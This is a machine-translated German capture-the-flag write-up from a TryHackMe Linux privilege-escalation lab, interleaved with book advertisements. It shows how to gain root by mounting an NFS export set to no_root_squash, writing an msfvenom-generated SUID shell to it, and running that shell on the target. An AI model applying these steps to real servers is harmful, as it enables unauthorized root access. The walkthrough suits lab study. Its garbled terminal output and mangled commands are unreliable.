[Tryhackme] Erweitern Sie die Privilegien, indem Sie die NO_ROOT_SQUASH am NFS -Mount missbrauchen! Linux privesc schreiben up9

Dieses Mal werden wir "Erhöhung der Privilegien mit dem NFS Mount NO_ROOT_SQUASH" versuchen.

Die Zielmaschine nutzt den Raum unten von TryHackme.
"Tryhackme-linux privesc: https://tryhackme.com/room/linuxprivesc "

Tryhackme

Linux Privesc Üben Sie Ihre Linux -Privilegien Eskalationsfähigkeiten auf einem absichtlich Missconfigured Debian VM mit mehreren Möglichkeiten, um Root zu bekommen! SSH ist verfügbar. Anmeldeinformationen: Benutzer:…

Dieser Artikel ist Teil 9.
Wenn Sie die Schreiben für Linux Privesc mit TryHackMe überprüfen möchten, überprüfen Sie bitte auch elektronische Berechtigungen, die Sicherungen von Verlaufsdateien, Konfigurationsdateien und wichtigen Dateien ausnutzen

Möglicherweise möchten Sie auch lesen

[TryHackme] Erweiterung der Berechtigungskalation mit Backups von Verlaufsdateien, Konfigurationsdateien und wichtigen Dateien! Linux ... diesmal werden wir "Erhöhung der Berechtigungen durch Missbrauch von Sicherungen von Verlaufsdateien, Konfigurationsdateien und wichtigen Dateien" versuchen. Die Zielmaschine nutzt den Raum unten von TryHackme ...

Bitte beachten Sie, dass die Erklärung Spoiler sind.

Empfohlene Nachschlagewerke

So erstellen Sie ein Hacking -Labor: Lernerfahrungen von Hackern in virtuellen Umgebungen

Autor: Ipusiron

¥2,090 (Ab 15:33 am 2025/07/13 | Amazon Research)

Siehe Bewertungen

Amazonas

＼Rakuten Points Sale! /

Rakuten -Markt

＼5% Punkte zurück! /

Yahoo einkaufen

Pochip

Hackerschule

Autor: Ipusiron

¥3,850 (Ab 21:11 am 07.08.2025 | Amazon Research)

Siehe Bewertungen

Amazonas

＼Rakuten Points Sale! /

Rakuten -Markt

＼5% Punkte zurück! /

Yahoo einkaufen

Pochip

Cybersecurity -Programmierung, 2. Ausgabe - Gedanken der Hacker -Gedanken mit Python

Autor: Justin Seitz, Autor: Tim Arnold, überwacht von: Mantani Nobutaka, Übersetzung: Arai Yu, Übersetzung: Kakara Hirosei, Übersetzung: Murakami Ryo

¥3,520 (Ab 12:26 am 07.09.2025 | Amazon Research)

Siehe Bewertungen

Amazonas

＼Rakuten Points Sale! /

Rakuten -Markt

＼5% Punkte zurück! /

Yahoo einkaufen

Pochip

Lernen systematisch, wie Sie eine sichere Webanwendung erstellen, 2nd Edition [Reflow Edition] Prinzipien, die Schwachstellen und Praktiken von Gegenmaßnahmen erzeugen

Autor: Tokumaru Hiroshi

¥3,520 (Ab 00:44 am 2025/07/12 | Amazon Research)

Siehe Bewertungen

Amazonas

＼Rakuten Points Sale! /

Rakuten -Markt

＼5% Punkte zurück! /

Yahoo einkaufen

Pochip

Vorbereitung

Starten Sie zunächst die Zielmaschine mit Startmaschine.

Es ist in Ordnung, wenn die IP -Adresse angezeigt wird.

Da es dieses Mal zu Privilegien eskaliert wird, werde ich prüfen, wo es über SSH verbunden werden kann.
Verbinden Sie mit "User/Password321", wie in TryHackme gezeigt.

┌── (hacklab㉿hacklab)-[~/tryhackme/linuxprv] └─ $ ssh user@10.10.175.49 130 ⨯ user@10.10.175.49's Passwort: Linux Debian 2.6.32-5-5-AMD64 #1 SMP TUE TUE 13:3:35 2014 x864 Die Programme mit den Debianen 13:34:35 2014 2014 x864. System sind freie Software; Die genauen Verteilungsbegriffe für jedes Programm werden in den einzelnen Dateien in/usr/share/doc/*/copyright beschrieben. Debian GNU/Linux verfügt über eine Garantie, sofern dies nach geltendem Recht zulässig ist. Letzter Login: Fr 15. Mai 06:41:23 2020 von 192.168.1.125

NFS

Dateien, die über NFS erstellt wurden, erben die ID des Remote -Benutzers.
Wenn der Benutzer root ist und Root Squash aktiviert ist (NO_ROOT_SQUASH ist nicht angegeben), wird die ID stattdessen auf "Nobody" gesetzt.
Wenn Sie umgekehrt deaktiviert sind (no_root_squash), beachten Sie bitte, dass Sie die gleiche Ebene von Zugriffsberechtigten wie Stamm erhalten.

Standardmäßig werden Dateianfragen, die von Root auf einem Client -Computer gestellt wurden, als von niemandem auf diesem Server behandelt. Wenn Sie jedoch NO_ROOT_SQUASH auswählen, verfügt das Root auf dem Client -Computer über die gleiche Ebene an Zugriffsberechtigten wie das Root auf dem Server.

Überprüfen Sie die NFS Sharing -Konfiguration für Debian VM.

Benutzer@debian: ~ $ cat /etc /exports # /etc /expors: Die Liste der Zugriffssteuerung für Dateisysteme, die möglicherweise # an NFS -Clients exportiert werden können. Siehe Exporte (5). # # Beispiel für NFSV2 und NFSV3: # /srv /homes hostname1 (rw, sync, no_subtree_check) hostname2 (ro, sync, no_subtree_check) # # Beispiel für NFSV4: # /SRV /NFS4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check) # /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check) # /tmp *(rw,sync,insecure,no_root_squash,no_subtree_check) #/tmp *(RW, Synchronisation, unsicher, no_subtree_check)

Haben Sie bemerkt, dass No_root_Squash in "/tmp" angegeben ist?
Als nächstes werden wir in "/tmp" no_root_squash ausnutzen, um Privilegien zu eskalieren.

Lassen Sie uns zunächst die Angriffsmaschine rooten. (Auch auf der Zielmaschine die gleichen Berechtigungen wie Root on /tmp.)

┌── (hacklab㉿hacklab)-[~] └─ $ sudo su ┌º (root💀hacklab)-[/home/hacklab] └─# 

Erstellen Sie als nächstes einen Mountspunkt auf der Angriffsmaschine und montieren /TMP.

┌── (root💀hackLab)-[/home/hacklab] └─# mkdir/tmp/nfs ┌── (Root💀HackLab)-[/home/hacklab] └─# montage -o rw, vers = 3 10.10.175.49:/tmp/tmp/nfs nfs nfs, vers = 3 10.10.175.49:/tmp/tmp/nfs

Verwenden Sie als Nächstes MSFvenom, um eine Nutzlast zu generieren, die /bin /bash.
Die generierte Nutzlast wird in /TMP /NFS gespeichert.

┌── (root💀hackLab) -[/home/hacklab] └─# msfvenom -p linux/x86/exec cmd = "/bin/bash -p" -f elf -o /tmp/nfs/shell.elf [ -] Keine Plattform ausgewählt, ausgewählt, msf :: modul :: plattform :: plattform :: plattform :: linux aus der nutzladung aus der nutzladung aus der nutzladung aus der nutzung ausgewählt aus dem naylod aus der nutzung aus der nutzung ausgewählt aus der nutzung aus der nutzung aus der nutzung aus der nutzung ausgewählt aus der nutzung aus der nutzung aus der nutzung aus der nutzung aus der nutzung aus der nutzung aus der nutzung ausgewählt wurde :: modul aus der nutzleitung aus der nutzung ausgewählt aus der nutzung aus der nutzung aus der nutzung aus der nutzung aus dem ag. Kein Spezifikum von Encoder, Ausgabe von RAW -Nutzlastnutzlastgröße: 48 Bytes endgültige Größe der ELF -Datei: 132 Bytes als: /tmp/nfs/shell.elf gespeichert

Zugeben Sie SUID -Berechtigungen, damit der Zielbenutzer nach Ausführung von Eigentümerrechten ausgeführt wird. (Die Wurzel der Angriffsmaschine gilt als die Wurzel der Zielmaschine. Durch die Gewährung von SUID -Berechtigungen können auch andere Benutzer der Zielmaschine mit Root -Berechtigungen ausgeführt werden.)

┌── (root💀hacklab)-[/home/hacklab] └─# chmod +xs /tmp/nfs/shell.elf

Sobald Sie dies getan haben, kehren Sie zum Zielgerät zurück und führen Sie die Shell aus. Sie haben gerade gespeichert.

Benutzer@debian: ~ $ /tmp/shell.elf Bash-4.1# Whoami Root

Ich habe erfolgreich Wurzelprivilegien erhalten.

Zusammenfassung

Dieses Mal habe ich "Privilege Elevation mit dem NFS Mount NO_ROOT_SQUASH" versucht.
Haben Sie schließlich bemerkt, dass das Problem des Laufens mit SUID -Privilegien entstanden ist?

Was ist Suid -Erlaubnis? Wenn Sie dies glauben, beziehen Sie sich bitte auch auf Elektroduktion mit SUID/SGID Executables

Möglicherweise möchten Sie auch lesen

[Tryhackme] Verbesserung der Berechtigungen mit SUID/SGID -ausführbaren Dateien! LINUX PRIVESC WRESSEUP TEIL 7 Diesmal werden wir "Erhöhung des Privilegs mit SUID/SGID Executables (ohne bekannte Exploits)" versuchen. Die Zielmaschine nutzt den Raum unten von TryHackme. "Tryhac ...

Referenzen und Websites

-